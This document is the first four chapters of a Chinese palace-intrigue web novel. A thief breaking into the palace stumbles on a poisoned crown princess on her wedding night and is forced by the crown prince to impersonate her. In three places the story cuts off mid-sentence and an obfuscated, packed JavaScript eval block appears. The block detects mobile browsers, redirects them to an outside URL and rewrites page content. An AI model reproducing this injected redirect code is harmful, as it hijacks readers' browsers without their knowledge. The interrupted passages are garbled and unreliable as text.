《殿下,这兵符烫手》 1. 第 1 章 今夜的大内皇宫,被瓢泼大雨洗得发白。 一道黑影如猫儿般,无声无息地掠过肃穆的宫墙。 勤政道,安全。 南照门,安全。 叶小寻咻地一下找准了一处隐蔽角落一跃而上。 “这都哪儿跟哪儿啊……” 她扯了一把面巾,露出小巧圆润的鼻头,总算可以喘口气。 琢磨了一会儿,确定这里头顶的檐梁不会沾湿她赖以生存的要件,总算费力将怀中层层包裹的地图取了出来。 “那奸商……也不晓得靠不靠谱……” 一阵妖风刮过,吹迷了叶小寻的眼,夹着的雨水也扑了她一脸。 “啊啊啊啊啊啊——啾!!!这宫里的风,怎么还带拐弯的呢。”她摇摇头想把脸上的雨水甩掉,到底还是忍不住揉了揉鼻子。 接下来她意识到,给她图的人靠不靠谱已经不重要了。 她呆呆望着被雨水浸湿了大半的地图,原本的朱砂标记已经成了一点红果,和宣墨混作一团,难分彼此。 “这……” 冷静!一定要冷静! 我叶小寻岂能栽在这里?? 她一把将地图胡乱塞回怀里,强迫自己平静下来。 “我可是从记事起就在道上混了,这……这点小意外难得倒我?小看我了啊!” 赖以生存的要件已经废了,她左右张望一下,单手扏着梁柱稍微探出点身子。 安全! 奇怪了,这里可是大内皇宫,怎么连个巡逻的小喽啰都没有。 叶小寻挠挠下巴,仔细回想着那刘老爷的话。 “今日诸事皆宜,东宫有喜,你就往勤政殿去,找到那嵌了半截虎皮,右下磕缺了一角的剔红漆木椟带给老夫,老夫自会将这两个老不羞放了去。” 叶小寻何许人也?这可是皇宫,被捉到了是要掉脑袋的,自然不能轻易答应。 “什么东西只能进宫偷?刘老爷富可敌国,想要什么买不到?该不会是要命的东西吧?” 刘老爷哈哈大笑,露出两颗大金牙:“小姑娘天真,有所不知啊:这天下最好的东西,可都在皇宫了。老夫纵有万贯家财,也不及宫里年年的贡品。这次的夜明珠乃天山进贡,三年才出这么一颗,你做是不做?” 叶小寻怒骂:“那么好,自己去拿啊。” “当然,不是不行,可扣在这儿的人……老夫就只能送官了。” “慢着……” 思绪回笼,叶小寻拍拍脸颊醒醒神。 “不慌,不就是勤政殿,先沿着主道走到底,拐个弯不就好了。过目不忘叶小寻,就这么强。” 雨势稍微小了些,叶小寻决定速战速决。 她凭借之前扫过两眼地图的记忆,开始沿着来路继续前行。 这段路大概有什么说法,漆黑一片后,下一个拐口才能看见一旁那条宫道有宫灯亮着。雨势又强了,灯影被雨水打得朦朦胧胧的。 “怎么感觉条条路都……一样啊?那走有灯的地方岂不是更方便?” 叶小寻是皇城里他们这圈子里的轻功一把好手,就算是进了皇宫也不在话下。 只是这七弯八拐的…… 身后有人,她一个闪身避至垣后,没成想另一侧又来了一队。 这前有狼后有虎的不给活路啊! 叶小寻急得直跺脚,左右不通,只有上头的路了。 她轻盈一跃,猫儿一般在巡兵发现之前离开原地。 各处宫门往东,一路红毡铺地,如同一条血路延伸向东宫,如今被雨泼湿了,宫人们走在上面深一脚浅一脚,独独中书省丞相沈道衍的沉香木肩舆稳稳当当。 抬舆的宫人个个身强体壮,走在吸饱了雨水的红毡上如履平地。 “沈相,到了。” 沈道衍踩着青衣小内侍的背下了舆,东宫灯火通明,将他一身格格不入的鸦青色宽袖鹤氅照成了墨色,满头银丝落在大氅上,如身披华霜。 “也不知今夜的大晟朝,是不是也能彻夜安宁。” 两旁候着的内侍们纷纷低下头,权当作什么也没听见,生怕这一个不小心,自己的脑袋被沈丞相送给太子殿下贺喜了。 “如今是进到哪儿了?太子人呢?” 叶小寻瞪大了眼睛,屏息慢慢缩回阴影里。 直觉告诉她,这是个大人物,看面相就不好惹。 管这么多干什么,还是继续找路吧。 叶小寻只觉得哪里都跟白天似的,每一个路口都很像。就连为了躲避巡兵临时落脚的空殿,也大差不差。 这么晃久了,实在……想吐。 “累死我了,哎哟。” 她告诉自己路肯定是错了,这一头越来越热闹,怕不是要闯进太子婚宴现场了。 使不得使不得,躲完这次得往回走点儿。 那刘老爷果真狡诈,太子大婚,皇宫的戒备明明更森严,居然选在这时候让她来使坏,分明是没打算让她活着回去! 为了避开巡兵,她又摸着小道一头扎进了一座偏殿的小窗,刚落地,甜得发腻的熏香气味钻入鼻间直冲她脑门,第一个念头就是不妙。 儿臂粗的红烛烧得正旺,只粗略看去也不容忽视上面勾勒着金丝的龙凤盘纹。 她下意识看向手里还抓着的销金红罗帐,柔软触感此刻过于烫手,她噫地一声松开,层层叠叠的罗帐后是个身着凤冠霞帔,以鸳鸯团扇覆面的倩丽身影。 完了完了完了。 让你乱跑,跑人家洞房来了吧! “太……太子妃万福金安,奴婢进来拨个烛芯。” 捏起嗓子瞎话张嘴就来,叶小寻倒退几步,见新娘纹丝不动,顿时心安了些。 见好就收,赶紧走……是不可能走的。 叶小寻的眼睛被那金灿灿的妆奁吸引了去,刘老爷又在她耳边嘀咕起来了。 “……这天下最好的东西,可都在皇宫里了……” 大喜日子,公然行窃可不厚道,但开一开眼,总没事儿吧? 找借口找得都不记得自个儿是混进来干嘛的了。 她悄悄回头看了一眼依然端坐在喜床上的新妇,咽了咽口水。 机会难得,她就……品鉴品鉴。 叶小寻的两只爪子跃跃欲试。 啧啧啧,看看这流苏簪子做得,流苏还是金丝拉的??集市上可见不着。 啊这是,玉做的耳坠子呀,这个玉也不知道什么弄的,摸上去暖暖的哎。 叶小寻目不暇接地看着,时不时动手摸一摸,别提多幸福。 咦? 叶小寻虽然叫不上这些珠宝的名字,但她眼神是一等一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132709|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的尖。 妆奁角落里露出一点虎纹,她立刻就注意到了。 这是…… 她一点点摸到那个虎纹,真实的皮毛触感令她心念一动,小心翼翼地将物件挪出来。 “右下……”她摩挲着那缺了一角的粗糙的漆木纹理。 这不就是刘老爷说的那个剔红漆木椟? 可这怎么看也不是勤政殿啊。 若只是普通剔红漆盒也就罢了,偏偏和刘老爷描述得分毫不差,怎么看也是同个。 “怎么在这儿?” 叶小寻摘下脑后的桃木发簪,轻轻按下簪头的镂空木雕,发簪瞬间分了家,露出里面的银针。 手腕一翻,轻巧地撬开了锁芯。 哎?怎么是只铜老虎? 她皱着小脸将那铜块拿在手里掂了掂。 “这刘老爷,该不会是耍我吧?” 她狐疑地对着剔红漆木椟左看看右看看。 算了……贼不走空,一起拿回去先交差,叶片儿那娇气样可吃不了多少苦,回头一定念叨得我耳朵起茧子。 还没等她把铜块放回去,只听得门外咔嗒一响。 坏了。 叶小寻背脊发凉,揣着铜块一个打滚就躲进了罗帐。 “新娘子得罪了!” 她刚滚进来就打了个挺,一抬头,整个人都僵在原地。 凤冠霞帔的太子妃依旧如泥塑木雕般端坐如常,对内殿闯进来个陌生人毫无反应。 这情景任谁都会觉得奇怪吧? 叶小寻借着花烛的微光,猛然看清了鸳鸯团扇后,太子妃那张惨白如纸的面容。 她的眼神已经黯淡无光,唯有嘴角溢出一缕黑血,落在鲜红的嫁衣上,湿黑一片,这场景别提多诡异了! 叶小寻努力在失声喊叫之前捂住自己的嘴,她可没见过这场面! 怎么办怎么办。 她急得转成陀螺,还没等她从这场巨大的惊悚中回过神,耳畔已经响起殿门被推开的吱呀声。 逆光处,一人迈步而入。 坏了,那盒子被忘在妆奁那儿了!这不一眼露馅吗? 叶小寻绝望地拍住额头,死脑筋,快转啊,我还没活够呢! 她一溜烟钻到喜床边的死角,事到如今只能期盼进来个眼瞎看不见她的了。 来人在外殿驻足良久,才慢慢掀开层层罗帐进了内殿。 叶小寻听着脚步,冒了个头想悄咪咪偷看两眼。 入眼是一片似血赤红。 来人一身红袍,在烛光下如同浓稠的鲜血,压迫感扑面而来。 叶小寻心一沉,僵硬着抬起头,略过了低垂的蔽膝,紧束的白玉带,袍子上盘缠着的祥纹贵气逼人。 然后她撞见一双冰冷的眼眸。 叶小寻发现自己已经抖成了筛子,身体不自觉地后仰,恨不得陷进墙里。 可她退一步,这人上前一步,面无表情,森冷如妖精,空气中都是冰冷的杀意。 没吃过猪肉,难道还没见过猪跑么? 这是喜服,今天在皇宫里穿喜服的人只有两个,都在这殿中了。 太子容慎! 叶小寻整个后背紧紧贴在墙角,怀里还用手死死捂着那个烫手的铜疙瘩。 一滴冷汗从额上滑落,顺着她的眉尾落至腮旁。 2. 第 2 章 “我,我可以解释的!” 叶小寻声音还在抖,膝盖发软,尤其是殿里那股子甜腻气味熏得她一阵头疼。 如今她满心思考如何措辞,至于其他的…… 她哪里清楚什么东宫什么皇宫的,她就一小老百姓! 眼下太子妃大婚之夜殒命,她还被当场逮住,心里已经给自己埋了半截了。 脑子里瞬间给自己编排了十几种死法,种种不重样。 她努力忽略自己牙关打颤的咯咯声,两眼死死盯着被雨水浸湿的猩红地毡,再往上,是一双黑缎金线云纹的喜靴。 怀里那个硬邦邦的铜老虎硌着胸口一阵闷疼,倒是提醒了叶小寻。 她赶忙把铜老虎掏出来,双手奉上,姿态卑微得恨不得把自己埋进缝里。 “草民有眼不识泰山,一时鬼迷心窍才污了太子妃的宝贝,但绝无半点歹心,草民刚刚进殿,太子妃已经这样了啊!太子明察!太子明察!” 头顶没有声音。 死一般的寂静。 安静到甚至听不见那个男人的呼吸声。 容慎冷漠地扫了一眼她手里捧着的铜老虎,视线移开。叶小寻这才看见了他手中摩挲着的,正是刚才她落在外头的那个空空如也磕掉一角的剔红漆盒。 “你说……这是太子妃的。”冷面阎罗终于开口了,声音里全是冰渣渣,带着一些似有若无的嘲讽。 难道不是吗?叶小寻被他这话问的一懵。 她的表情瞬间从惊恐切换到了谄媚。 “是是是……不是陪嫁……” 叶小寻深知这听见了阎王爷开口,就只有最后一线生机了,“不不不,原来是太子的宝贝!草民千不该万不该,但这宝贝其实是自己蹦草民怀里的啊!” 还不等容慎开口,殿外传来一阵急促的叩门声。 紧接着有个嬷嬷在外头扯高了嗓子,声音又尖又利,透着股倚老卖老的傲慢。 “太子殿下,吉时已到。沈丞相已在前殿等候,特命奴婢来伺候殿下与娘娘饮合卺酒!” 叶小寻吓得一哆嗦,差点叫出声。 容慎却眉头也不皱一下,瞬间出手,一手捂住叶小寻的嘴,另一只手把她从地上拎起来,拎小狗崽子似的拖到了屏风后面。 那嬷嬷径自开了外殿的门,紧接着就是一个小丫头的声音。 “成嬷嬷,使不得啊,这……这……” 那成嬷嬷重重一哼:“我是娘娘的陪嫁嬷嬷,哪里使不得了?镇国公府自然和皇宫比不了,但我在镇国公府兢兢业业三十载,你一个小丫头片子想骑我头上?” 叶小寻听得入了迷。 刻薄,绝对的刻薄! 捂着她嘴的手有些紧了,再多捂一阵她恐怕能去见她那素未谋面的双亲,她本能地扒拉了几下男人的手臂,却被误解成要挣扎,容慎捂得更紧了。 他的手很冰,力道极大,如果叶小寻不是快被憋死了,她还能品鉴品鉴男人袖口透出的冷香。 可现在她只觉得太子这是想要她的命啊! 她实在急了,在容慎怀里拱来拱去。 成嬷嬷年纪不小,但耳聪目明的,这么一小些动静可瞒不过她的耳朵。 她清了清嗓子,又扬声道:“娘娘是否是身子不适?容奴婢进殿照看照看。” 身后的小丫鬟还在叫“使不得,使不得”,她一点不听,脚步声越来越近,眼看就要挑开内殿的罗帐。 “站住。” 容慎的声音像厉鬼,别说叶小寻,外殿那成嬷嬷也不敢动了。 叶小寻只听得见自己如擂鼓般的心跳声。 “沈相日理万机啊,孤有失远迎。孤与太子妃更衣完毕便去前殿,容沈相多等片刻。” 这声音转瞬又儒雅随和起来,仿佛刚才那一声厉喝不是容慎发出的。 成嬷嬷站定在外,却也没有退下的意思。 那烛光将成嬷嬷的影子投进内殿,拉得细长。 隔着重重纱帐,成嬷嬷的声音又尖锐了些。 “殿下赎罪。只是奴婢方才在殿外,分明听见内殿有异响。娘娘身子金贵,若是大婚之夜有什么闪失,奴婢乃镇国公府的老仆,回去如何跟国公爷交待!娘娘既是有不适,奴婢理应进殿照拂一二。” 这老嬷嬷不要命了啊? 叶小寻大气都不敢喘了,生怕容慎迁怒于她。 还没等到容慎的回应,投进内殿的影子摇摇晃晃的,眼看就要伸手拨开罗帐—— 这么勇?硬闯?叶小寻瞪圆了眼。 疯了吧,这可是东宫寝殿啊,就算是太子妃的娘家人,那不也,也…… 容慎的眼神瞬间冷了下来。 叶小寻在他掌心憋得小脸通红,疯狂摇头,用眼神示意。 容慎眸光暗了暗,松开手,新鲜的空气瞬间填满叶小寻的胸腔。 来不及深呼吸,她飞快用气音道:“说醉了,喝多了!” 容慎第一次正眼打量眼前这个女贼,眼神里闪过一丝极淡的诧异。 “娘娘……” 成嬷嬷还要上前,容慎神色一凛:“得寸进尺!” 这一声倒是喝住了成嬷嬷的脚步。 “东宫岂容你这刁奴放肆?来人,请成嬷嬷出去,太子妃不胜酒力,晴若去叫小厨房煮碗醒酒汤来,其余人退下。” 小丫鬟诺了声,退下了。 “还不滚?”容慎慢慢道,声音懒散,却透露着不容忽视的危险。 成嬷嬷依旧不动。 叶小寻啧啧称奇。 见过不怕死的,但没见过如此送死的。 她很快就反应过来为什么了,因为隔了半晌,只走了个小宫女,请成嬷嬷移步的宫人是一个没见着。 不好,有杀气。 她只是个小贼,犯不着把命丢这儿吧? 叶小寻一脸苦哈哈地想。 不对……她怎么琢磨都觉得这事儿蹊跷,成嬷嬷这么急着进来,莫不是知道太子妃已经命丧寝殿?? 她小心翼翼地抬头观察了下容慎的表情,恐怕他们俩想到一块去了。 这太子爷当得窝囊啊! 叶小寻恨铁不成钢,本以为遇上个铁板,没想到其实是团棉花? 刚想啧啧摇头,容慎的眼神阴沉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132710|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了极点,原本捂在叶小寻脸侧的手猛地松开,叶小寻还没来得及大口喘气,整个人就被一股大力掀翻到喜床边。 她闷哼一声,还没爬起来,就见那个红衣阎罗像一阵风似的冲向喜床。 叶小寻煞白了一张脸,不敢相信自己的眼睛。 容慎面无表情地抓起太子妃那早已僵硬的肩背,凤冠上的金丝流苏随着两人的动作剧烈地晃动,太子妃就像一只被人牵着随意摆弄的人偶。 阎罗的动作没有一丝迟疑,他一手扣住火红的嫁衣衣襟,另一手按下床榻内侧的一个机括。 咔哒一声,床板内侧竟翻出一道暗格。 容慎动作极快,低声道了声“得罪了”,硬是凭蛮力将太子妃塞进了暗格中。 繁复的嫁衣随着凤冠一起被剥下来。 “砰!” 暗格合拢,严丝合缝。 成嬷嬷的声音已经近在咫尺:“殿下?奴婢进来了。还请看在娘娘的面子上,莫要开罪于奴婢。” 容慎猛地回头,几步跨回叶小寻面前。 “啊?”叶小寻只觉得领口一紧,就这么被扔到喜床上,眼前一片红。视线被遮挡前,她看到了成嬷嬷伸进罗帐的那只布满皱纹的手。 是容慎把还带着余温的嫁衣直接罩在了她头上,高大的身躯已经欺身而上,将她死死困在方寸之间。 叶小寻正好压在刚才太子妃端坐的地方,心理作用令她不住地颤抖,总觉得一股凉意只钻她后背。 她隔着红纱只能看到他模糊的轮廓,鼻间已经开始习惯那股冷香。 “喜被难道要我帮你盖?”容慎俯身在她耳畔道,声音阴冷如蛇信,“从现在起,你就是太子妃霍清婉。” 他一记眼刀扫向罗帐外,成嬷嬷的身影慢慢靠近,下一瞬就要越过屏风看到内殿的情形。 “成嬷嬷,镇国公府的下人们都如你这般放肆吗?!” 成嬷嬷铁了心要来喜床边了,嘴里还满口道:“方才还能听见娘娘的声音,这会儿怎么安静了?殿下,事关重大,还是让奴婢……” “哎哟——”叶小寻一声吃痛,惊恐地看着容慎按在她肩胛骨的手上。 这太子不讲武德啊!他该不会是要她留在东宫当个废人吧? 顿时她已经脑中转了千百回,想了好几个求饶的妙招了。 成嬷嬷听她一开嗓,眉心一皱:“殿下,这娘娘的声音怎么……” “找死。”容慎略松了力道,从牙缝里挤出两个字,目光却一直没有从叶小寻身上移开,“你以为你是镇国公府的人,孤就不会动你?” 别别别!叶小寻已经顾不上肩上的痛了,赶紧扯住他的袖子,头埋在喜被里只敢用眼神瞪过去。 容慎立刻会意。 “孤说了,太子妃不胜酒力。” “殿下,这事儿可不是一碗醒酒汤能解决的,娘娘从小体弱,稍微贪杯就得请大夫,不若……不若叫太医?” 成嬷嬷一计不成,又出个歪招,声音里透着股阴恻恻的执拗。 叶小寻真是开了眼了,这婆子,不怕死的?没听说过皇宫里可以不把太子放眼里呀? 3. 第 3 章 叶小寻活了快二十年,这一定是她有生以来最诡异的场景。 她,一个只会三脚猫功夫的小飞贼,居然在这么喜庆的时辰,出现在她活到现在想也不敢想的地方大晟朝东宫,还被架在火上烤。 何必呢。 她缩在锦被里苦哈哈地想,这东宫是祥瑞之地,可也不能把她烤得香喷一些拿来下酒啊。 一阵风过。 成嬷嬷走路带风,吹得床头那儿臂粗的龙凤花烛摇摇晃晃,连带着映在墙上的影子也张牙舞爪地晃荡起来,说不出的诡异。 叶小寻忙不迭捂住喜被,用尽毕生所学,喉咙里压出一声极其逼真的干呕:“呕……” 她满心念叨着:“醉了醉了,真醉了,别再靠近了!” 这声响再让厚实的喜被一闷,和猫儿打呼噜没什么区别。 她在等。 等一会儿那个去端醒酒汤的小宫女回来,有了动静,这尴尬的对峙或许能缓一缓。 等等。 叶小寻躲在被窝里的眼睛猛地睁大。 东宫有这么大?那小宫女去了有一盏茶的功夫了吧,取个醒酒汤要这么久? 她稍稍把被角掀开一条缝,透过那层朦胧的红纱,看见容慎正背对着床榻,修长的手指轻轻搭在桌案上,也若有所思地望着一旁的刻漏。 那水滴落在铜盂里的声响,在此刻死寂的殿内,一声声催得人心慌。 不用想,这成嬷嬷定是把一切安排得面面俱到了,才敢如此嚣张跋扈。 刚刚那小宫女多半是凶多吉少了。 娘亲啊,该不会我今天有来无回吧? 叶小寻心里一阵哀嚎。 这成嬷嬷不止来收了太子妃的命,还要收她和容慎的命不成? 叶小寻险些把自己憋死,手指却依然死死攥着被角不松手,心里已经惶恐地盘算起自己短暂的一生。 是被成嬷嬷毒死?还是被那个看似温润实则阴森的太子灭口? “太医?” 容慎终于开口了,声音清冷如玉石相击,却透着股寒意:“一碗醒酒汤就能解决的问题,镇国公府未免小题大做了些。” 成嬷嬷的声音紧跟着响起,语调变了:“殿下说笑。正是因为镇国公府规矩严,奴婢才更担心。这……这酒劲若是不退,伤了娘娘肺腑,那奴婢可是大罪过啊,如何给国公爷交差!” 成嬷嬷声调也变了,那语调刻薄尖酸,嘴唇一定是抿成了一条线。 叶片儿现在生起气来就这样。 哎呀呸呸呸! 叶片儿对不起对不起! 叶小寻在心里疯狂掌嘴,我怎么把你和这老太婆比较呢! 你还是很善良的,至少你只会拿藤条抽我,不会给人下毒! 叶小寻双手合十,在心里默默道了声阿弥陀佛。 “放肆!” 殿中突然一声厉喝,吓得叶小寻一抖。 容慎转过身,大红的喜袍在烛光下红得刺眼:“孤的大婚之夜,就要在孤的东宫行医问诊,尔是故意触孤的霉头?孤竟不知镇国公府的奴才都是这般不尊老祖宗的规矩!” 叶小寻又不傻。叫太医来,分明是想将事情闹大。 成嬷嬷是陪嫁嬷嬷,理应护着自己主子才对。 除非,她认了别的主子。 成嬷嬷那吊梢眉一竖,竟不依不饶,仗着身后有人撑腰,腰杆挺得笔直:“殿下,娘娘若耽搁了,奴婢担待不起啊!况且,这是沈丞相特意叮嘱的……” 咦? 叶小寻眨了眨眼。 哦…… 叶小寻恍然大悟。 “娘娘休息片刻便能与孤去前殿,若是误了吉时,你担待得起?”容慎直接打断了她,语气逐渐加重,眼底已聚起了风暴。 叶小寻不相信成嬷嬷一点也察觉不了那危险气息。 这太子爷看着文弱,可身上那股子劲儿,怎么看怎么像把没出鞘的刀。 叶小寻偷偷冒了双小鹿似的眼睛出来,隔着红纱,正巧看见成嬷嬷那敦实的身影在屏风后头拂了拂衣摆,甚至还抬手优哉游哉地拢了下发髻。 好家伙。 叶小寻叹为观止,深深怀疑这成嬷嬷是不是已经觉得自己能爬到太子头上撒野了。 “殿下,吉时固然重要,但……娘娘从此就要久居于这深宫,欢喜不欢喜的,全仰仗殿下恩泽。若她想起入宫花烛夜竟然被折腾得如此凄惨,就算身子爽利了,将来又何来的安泰?” 嚯,这说辞一套一套的,准备得挺足啊。 叶小寻满肚子妙语连珠不吐不快,奈何张不了嘴。 那一头的成嬷嬷早已觉得自己稳操胜券。 这太子爷到底太嫩了,怎能和沈相斗法?沈相那手段,京城谁人不服? 她对太医可不感兴趣,只是借着关心的名义闯进帐子,确认霍清婉是不是真的死透了。 只是这沈大人给的鸩毒药效居然如此缓和?到现在娘娘还能吊着一口气? 她幽幽一叹。 婉儿啊,可莫怨嬷嬷。 成嬷嬷嘴角勾起一抹残忍的笑意,原以为整瓶给她下了去,她也不用受这多余苦。没成想这丫头命真硬。 只要确认了太子妃暴毙,她把这事捅得宫闱人尽皆知,以后享不尽的都是荣华富贵。 她仿佛看到了成箱的金元宝堆满了自家祖宅,非但她自个儿,大郎二郎三郎都可以脱了奴籍,不用再做长工。定还有许多剩的,就给大郎拿去捐个官儿做,二郎三郎就在家帮衬着大哥…… 沈相,何许人也?那可是金口玉言,在大晟朝说句话比皇帝老儿还管用! “太医?你可知传太医院,今天这亲就结不成?你能替镇国公做主?”容慎的声音再次响起,他缓缓向门口走去。 成嬷嬷沉浸在荣华富贵的幻梦之中,口不择言道:“奴婢虽做不了主,但这东宫里若出了命案,殿下怕是也做不了——” 话音未落,寒光乍现。 “铮——!” 那是利刃出鞘的嗡鸣声。 叶小寻甚至没看清容慎是怎么动的,只看到那一袭红衣如鬼魅般掠过。 “啊——”成嬷嬷失声惊叫,声音抖得跟弹棉花似的,叶小寻嫌弃地皱皱眉。 她看不见发生了什么,本以为会见血,看样子容慎是剑下留人了。 也是,这大喜日子,沾了血不晦气吗。 “你弄脏我的红毡了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132711|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容慎开口,声音似厉鬼。 成嬷嬷的声音似乎卡在喉咙里,半晌也听不见声音,只有容慎在不紧不慢地说着。 “算了,脏手。” 剑回鞘,叶小寻听着声总算是松了一口气。 “涤墨,你来。” 紧接着,是重物落地的闷响,和温热液体喷溅在屏风上的声音。 叶小寻意识到是什么东西了之后,吓得往后一缩。 成嬷嬷那张贪婪的脸从屏风后露出半边,表情还定格在得意的瞬间。 她瞪大眼睛,难以置信地捂着喉咙,发出“嗬嗬”的气音,最后不动了。 鲜血顺着地砖缝隙流淌,在那红色的地毯上晕开,红得发黑。 一名黑衣侍卫手里提着一把寒光刺目的宝剑,剑尖还在滴血。 容慎站在一边,脸上的温润神色荡然无存,取而代之的是一种近乎妖异的平静。 “孤给过你机会的。” 容慎低头,看着地上时不时还抽搐一下的尸体,语气淡漠,“在孤的大婚之夜,诅咒东宫出命案,还敢妄言孤做不了主。这般目无尊卑的刁奴,留着也是祸害。” 那个叫涤墨的侍卫单膝下跪,抱拳行礼。 “是,主子。” 几声衣料摩擦的声音传进叶小寻的耳中,殿内回归死一般的寂静。 叶小寻在被子里瑟瑟发抖。 杀……杀人了? 说杀就杀,连眼皮都不眨一下?这哪里是那个传闻中唯唯诺诺的太子,这分明是个活阎王啊! 她必须得走!这地方不能待了! 趁着容慎背对过去,外头听着嘈杂起来。 此时不逃,更待何时! 叶小寻悄悄从被窝另一头探出脚,准备溜之大吉。 哪知她刚一动,那人就像背后长了眼睛一样,一个闪身来到床前,准确无误地伸过来,隔着被子一把按住了她的肩膀。 那一抓力道极大,像铁钳一般。 “啊!”叶小寻惊呼一声,直接被按回了喜床。 下一刻,那张沾染了些许血腥气的俊脸逼近,容慎单手撑在她耳侧,那双幽深的眸子死死盯着她,如同锁定了猎物的狼。 “想跑?” 叶小寻咽了口唾沫,指了指地上的尸体,又指了指自己:“那个……殿下,戏演完了,那我也……” “谁说演完了?” 容慎嘴角勾起一抹冰冷的弧度,他伸手,一把扯掉了叶小寻一直死死拽着的红盖头。 四目相对。 紧接着容慎的手伸向他怀里…… “你干什么?”叶小寻惊叫道。 容慎不语,只是将那个铜疙瘩取出来,神色平淡。 “这是半边兵符,整个大晟朝的命脉都握在你手里,你想走就走得了吗?” 他将兵符塞进叶小寻的手心,再缓缓将她五指收拢。 “兵……兵什么?兵符?????” 不是别这样,她只是来偷个夜明珠! “我还给你就是了。” “迟了。” “从现在开始,你就是霍清婉。”容慎的声音低沉,带着不容置疑的命令,“还要孤再重复一遍吗?” 4. 第 4 章 晨光熹微,叶小寻是在一阵沁人心脾的清冷香气中醒来的。 她有些贪婪地蹭了蹭被褥,触感软滑如云,不再是昨夜梦里那股挥之不去的血腥气,取而代之的是淡淡的檀木冷香。 她恍惚间觉得这一觉睡了很久很久,梦里全是刀光剑影,自己进了皇宫,怀里还抱着一颗夜明珠。 她护着宝贝往前走,每走一步都像是悬在断头台边缘,吓得她冷汗直流。 然后有个叫容慎的太子爷从天而降,说她抢了自己的宝贝,把夜明珠夺了去。 她拼死狡辩,说不是在东宫拿的,她去的是勤政殿。 容慎狞笑着举起宝剑,直直朝她劈下来。 猛地睁开眼,她才发现自己不知何时被挪到了窗侧的软榻上。 虽然是和衣而卧,身子有些僵硬酸痛,但比起昨晚那张瘆人的喜床,这里简直是天堂。 喜床…… 她下意识地瞄向那张雕龙画凤的大床,那里已经被收拾得整整齐齐,锦被叠得一丝不苟。 想到那床板暗格里还藏着……她忍不住打了个寒颤,眼神惊疑不定地在那暗格的位置扫过。 “醒了就起来,别在那儿鬼鬼祟祟。” 一道微凉的声音从外殿传来,透着股拒人千里之外的贵气。 叶小寻心尖一颤,抬头望去。 昨晚那扇染了残血的屏风已被撤换,取而代之的是一扇绘着江山雪景的素雅座屏。 容慎正背对着她负手而立,他已经换了一身墨色暗纹的储君常服,腰间束着白玉大带,身形修长挺拔,宛如一柄收鞘的古剑,锋芒内敛却压迫感十足。 昨夜的景象瞬间排山倒海般涌回脑海,叶小寻干呕了一下,那种死里逃生的余悸仍让她指尖发凉。 这辈子,她也就是个翻墙揭瓦的小贼,哪见过那么多死人? 若说死人,小时候跟着叶片儿和叶根儿夫妻俩流落街头时,确实见过饿殍,可那和昨晚那种……那种被生生斩断脖颈的惊悚感,哪里能比? 她揪紧了身下的锦被,指甲陷入厚实的布料里。 突然,她眼神一闪,大着胆子问了一句:“昨天……那个替我去取醒酒汤的小宫女,她如何了?” 容慎闻声,缓缓侧过身。那双狭长深邃的眼眸在光影下显得明暗莫测,他正欲开口,殿外却传来了动静。 “殿下,娘娘。”随着一声恭敬的呼唤,一名老嬷嬷领着几名宫人鱼贯而入,“今日去燕安宫请安,奴婢已为娘娘备好了礼服,请殿下过目。” 老嬷嬷垂首肃立,语气中带着不容置喙的规矩:“贵妃娘娘有旨,娘娘既已贵为储君之妻,头一日面见陛下与贵妃乃是国礼。故而奴婢擅自做主,用了最高规格的翟衣。” 两名小宫女躬身将托盘上的华服缓缓展开。 那是一件深青色的织金云霞凤纹翟衣,在大殿投射进来的日光下,金线流转,熠熠生辉,奢华得几乎灼人眼目。 叶小寻被这晃眼的华服闪得一阵眩晕,半晌才反应过来嬷嬷的话。 储君之妻?请安? 她一个冒牌货,要去见当今皇上和贵妃? “娘娘此前在镇国公府时,已有宫里的教习嬷嬷亲授规矩,想必今日定能雍容大度,不出差池。”老嬷嬷想要缓和一下表情,可挤出来的笑容落在叶小寻眼里,简直比哭还难看。 叶小寻背后瞬间渗出一层冷汗。 学过规矩的是真的霍清婉,她一个连筷子都不好好拿的小毛贼,这不是要去送人头吗? 容慎冷淡开口:“太子妃今日身体抱恙,请安之事,免了。” 叶小寻暗暗竖起大拇指。 仗义! 老嬷嬷吓得脸色一白,噗通一声跪在地上:“殿下,这恐怕大大的不妥啊!如今后宫由贵妃娘娘执掌,若是娘娘过门首日便不去请安,难免会被指责东宫目无尊长。若传到朝臣耳中,怕是又要生出诸多是非……” 容慎冷嗤一声,眼底满是不屑:“难道孤去了,他们就不会参孤了吗?” “这……”老嬷嬷哑口无言。 “没别的事就退下。别在这儿扰了娘娘休息。”他挥了挥袖,语气虽平淡,却透着一股不容违逆的威严。 宫人们见状不敢再劝,只得收起礼服,悻悻而退。 